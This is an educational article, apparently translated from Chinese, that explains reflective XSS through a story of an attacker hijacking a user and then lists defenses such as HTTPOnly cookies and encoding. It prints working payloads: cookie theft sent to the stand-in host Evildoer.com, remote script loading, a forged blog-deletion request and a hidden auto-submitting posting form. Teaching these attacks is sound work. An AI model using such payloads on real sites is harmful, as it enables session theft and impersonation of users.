- Written by Xie Yong
- Edit｜Wang Congli
- Information Collection｜Xie Yong
table of Contents
1. Getting to know XSS
Cross Site Scripting (XSS) is an attack method that uses web front-end code injection to tamper with pages, execute malicious scripts, and achieve the purpose of stealing data and impersonating identity. The browser parses the page according to the HTML code. There can be many JavaScript scripts in the current HTML. XSS attacks use vulnerabilities in the front-end code to insert malicious code.
XSS attackers must have a certain JavaScript foundation. On web pages that do not circumvent XSS, data can often be stolen by constructing some invisible elements and triggering the submission of links or forms, such as cookie hijacking. Generally speaking, the insertion of a script requires splicing the tags and scripts of the original webpage code, so that the inserted page code still conforms to the syntax and can be executed.
According to the effect of malicious scripts, XSS can be divided into reflection type and storage type .
2. Reflective XSS
Reflective XSS uses the content entered by the user as code for the browser to execute to achieve the purpose of the attack. Generally, it is necessary to allow the user to visit the URL constructed by the attacker. This type of attack occurs only on the client, and from the need to enter a specific URL with malicious script parameters, it is also known as non-persistent type XSS .
To use reflective XSS, a parameter value must be used in the target webpage as the data dynamically displayed on the page, and the target webpage does not have a valid check on the parameter value. In this way, the XSS payload can be inserted in the URL by constructing the parameter. (Malicious script), allowing users to click on the URL without their knowledge to execute the XSS payload. Although reflective XSS is only one-time, it is convenient for attackers to use.
2.1 Cookie hijacking
Now, there is an attacker "Xiao Hei" who decides to hijack a user "Xiao Guo". Assuming that a page http://www.reflect_xss.com/test.html has a reflective XSS vulnerability, Xiao Hei sends the following URL to Xiao Guo:
http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://www.Evildoer.com/”%2bescape(document.cookie);+document.appendChild(img)</script>
When Xiao Guo visits this URL unconsciously, his cookie information will be sent to the http://www. Evildoer.com site controlled by Xiao Hei, and Xiao Guo's token for accessing reflect_xss is learned by Xiao Hei. Therefore, Xiaohei can use this token without a password to enter this website as a fake Xiaoguo.
If Xiaohei feels that the URL is too long, he can put the specific implementation script code on his http://www. Evildoer.com and change the URL to:
http://www.reflect_xss.com/test.html?msg=<script+src=http://www.Evildoer.com/evil_script.js> </script>
When this URL is accessed, a malicious script http://www. Evildoer.com/evil_script.js will be loaded to achieve the same effect as the above method. In fact, Xiaohei can also URL-encode the script in the URL to make its malicious intentions look less obvious.
2.2 Get request
Get/post are two methods of web request, and users can add, delete, check and modify data through these two types of requests. Suppose there is a blog site www.bloggg.com. Each blog above has a blogID. When the user clicks the button to delete the blog, the following request will be sent:
http://www.bloggg.com/deleteBlog.do?blogID=123
In other words, you only need to know the blog ID, and the logged-in user can delete the blog by requesting this URL. Xiao Guo is a user of this blog site. He wrote a blog (blogID=234567). Xiao Hei found the blogID of this blog and used the following XSS payload:
var img = document.createElement(‘img’);
img.src = http://www.bloggg.com/deleteBlog.do?blogID=234567;
document.body.appendChild(img)
When Xiao Guo unknowingly executed the script, his blog was deleted. This code first creates an element, and then specifies the src for the element. This URL is the interface for deleting the blog. Only the elements are defined here, in fact the request has not been executed. Only when the third line of code is executed, it is added to the DOM of the web page, this src attribute is accessed, and the request to delete the blog is executed.
2.3 Post request
The Get request can be passed by attaching the parameters to the end of the URL. The difference is that the data of the post request is not displayed in the URL, which avoids the easy leakage of important data. Generally speaking, you can submit a post request through a form or XMLHttpRequest .
Xiaohei wants to use Xiaoguo's account to post a post to deceive his followers. This post includes mood and a paragraph of text (m_text). So Xiaohei wrote a script to insert a form into the page:
var evil_form = document.createElement(‘div’);
document.body.appendChild(evil_form);
evil_form.innerHTML = ‘<form action=http://www.bloggg.com/share_mood.do name=”mood_form” id=”evil_form”>’ +
‘<input type=”text” name=”mood” value=”happy”>’ +
‘<input type=”text” name=”m_text” value=”000000股票要飚了，买它！”>’ +
</form>’
document.getElementById(“evil_form”).submit();
This script implements the automatic submission of the form. If you set display: hidden for the form, the form may not even appear on the page, and the little pot cannot detect it at all. The same can be applied to various embedded tags. The XMLHttpRequest object can also be used to submit data to the specified interface.
3. Defense methods
For cookie hijacking, the simplest and most effective method is to set an HTTPOnly attribute for sensitive cookies. The cookie item with this attribute set cannot be read by the script. This protects sensitive cookies from being hijacked, and also allows some other cookies to be read and used by scripts.
Injection vulnerabilities are due to the data that the user can control as output and executed as code without inspection and processing, so such data must be checked. Encode characters and vocabulary related to HTML tags and JavaScript codes so that they do not appear directly in their original form, reducing the possibility of being executed as code.
These vulnerabilities can be exploited because the data is executed as code. When writing code, the two should be separated as much as possible. For input data, use quotation marks in JavaScript, and use JavaScriptEncode to encode characters to prevent attackers from closing quotation marks. Reduce the number of operations performed to input data, and XSS attackers will lose a lot of attack opportunities.
Want to know "Storage XSS"? Stay tuned for the next issue...
